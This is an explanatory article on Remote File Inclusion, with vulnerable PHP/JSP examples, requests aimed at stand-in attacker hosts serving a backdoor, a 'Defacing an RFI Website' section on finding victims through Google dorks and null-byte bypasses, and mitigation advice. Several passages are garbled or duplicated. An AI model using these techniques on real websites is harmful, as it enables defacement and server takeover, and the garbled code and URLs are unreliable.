Remote File Inclusion (RFI) is an attack targeting vulnerabilities present in web applications that reference external scripts dynamically. The offender aims to exploit the referencing function in an application to upload malware from a remote URL that is located in another domain. Effective RFI attacks lead to compromised servers, theft of information, and a site takeover that allows content alteration.
Remote File Inclusion Vulnerability Examples
Following are examples of RFI vulnerability:
- A JSP page containing this line of code: ”> can be manipulated with the following request: Page1.jsp?ParamName=/WEB-INF/DB/password.The request processing discloses to the perpetrator the contents of the password file.
- A web application includes an import declaration requesting content from a URL address, as seen here: “>. If unsanitized, the same argument can be used for the injection of malware. Use, for example:Page2.jsp?conf=https://evilsite.com/attack.js.
- RFI attacks are mostly started by manipulating parameters of the request to refer to a malicious remote file. Consider for example the code given below:
$incfile = $_REQUEST[“file”]; include($incfile.”.php”);
Here the very first line extracts the file parameter value from the HTTP request while the second line uses that value to configure the filename dynamically. This code can be used for unauthorized file uploads when the file parameter value can not be properly sanitized.
Such a URL string as http:/www.example.com/vuln page.php for example? File = http:/www.hacker.com / backdoor consists of an external connection to a remote-located backdoor file (http:/www.hacker.com/backdoor shell.php).
This backdoor can be used after being submitted to the application to hijacke the basic server or gain access to the application database.
This backdoor can be used after being submitted to the application to hijacke the basic server or gain access to the application database.
Why does it work at RFI?
You will need to add a string with the file’s URL to an Include function of the respective language to include a remote file. The website’s under attack web server then makes a request to the remote file, retrieves its contents and attaches it to the user serving web page. This then is interpreted by language parser.
Consider a developer wishing to provide a local file based on the parameter page of the GET. They have various files like main.php, contact.php, and about.php, all of which give the website different functionalities. Every file can be named using as follows:
https://example.com/index.php?page=contact.php
Although the developer assumes that only files are included within that folder, an attacker may also be able to access files from another directory (LFI) or even from a completely different web server (RFI). Without a whitelist the attacker can change the path of the file to the Include function of the programming language. The attacker would be able to access a local file, but the route can be modified in a standard attack to a file that resides on a server that they manage. In this way, it is easy to write malicious code inside a file without compromising logs or insert code within the web server.
The impact of an exploited vulnerability to remote file inclusion can vary depending on the web server user’s execution permissions. Any source code included can be executed by the web server along with the current web server user rights, allowing arbitrary code execution. In instances where the web server user has administrative privileges, complete system compromise is also possible.
Defacing an RFI Website
RFI is a common vulnerability that allows the attacker to upload a malicious code or file to a server or website. These hacking attacks on websites are not just about SQL injection. By using RFI, you can default the websites literally, gain access to the server and play anything with the server in practice. To hack a website or server with RFI, you’ll need to locate a vulnerable website with RFI first. It’s an proven reality that the very first step to hack a website or server is to find a loophole. So get started with:
- Go to Google, and find the following query.inurl: “index.php?page=home”
- Try out some other pages at home, such as gallery, products etc.
- If you already know about a vulnerable RFI website you don’t need to find it through Google.
If it is a website that is actually insecure, then three things could happen:
- You will find that there was no extension of the url consisting of “page = home” If you include an extension in the URL, the site may actually make an error such as ‘including maliciousScript.txt failure.’ This may occur as the site may automatically add the.txt extension to the pages stored on a server.
- When it adds something to the .php lines automatically, then we will use a null byte ‘percent 00’ to prevent error.
- Great execution.
RFI Mitigation and Prevention
To avoid exploitation of RFI vulnerability, be sure to disable the remote inclusion feature in the configuration of your programming languages, especially if you don’t need it. In PHP, allow url include can be set to ‘0.’ You can also test user feedback before switching to an Include feature. A whitelist of enabled files is the most effective way to do this.
Validation and sanitization of appropriate inputs will reduce the risk of RFI attacks. Keep in mind, though, that avoiding the misconception that all user inputs can be completely sanitized is essential. Sanitization can therefore only be used as a complement to a legitimate security solution. Sanitizing user-supplied / managed inputs to the best of your capacity is often easier. All inputs cover:
- URL parameters
- Cookie values
- Parameters GET / POST
- HTTP header values
Input fields would have to be reviewed against a whitelist during the sanitization process, instead of a blacklist. Blacklist validation is generally considered a weak solution, since attackers can choose to provide input in a different format, such as hexadecimal or encoded formats. Applying output validation mechanisms to server end is also good. Validation functions on the client side, which hold the benefit of reducing overhead processing, are also considered vulnerable to proxy tool attacks.
For a final suggestion, always suggest limiting the execution of authorization for the upload directories and maintaining a whitelist of acceptable file types in addition to restricting uploaded file sizes.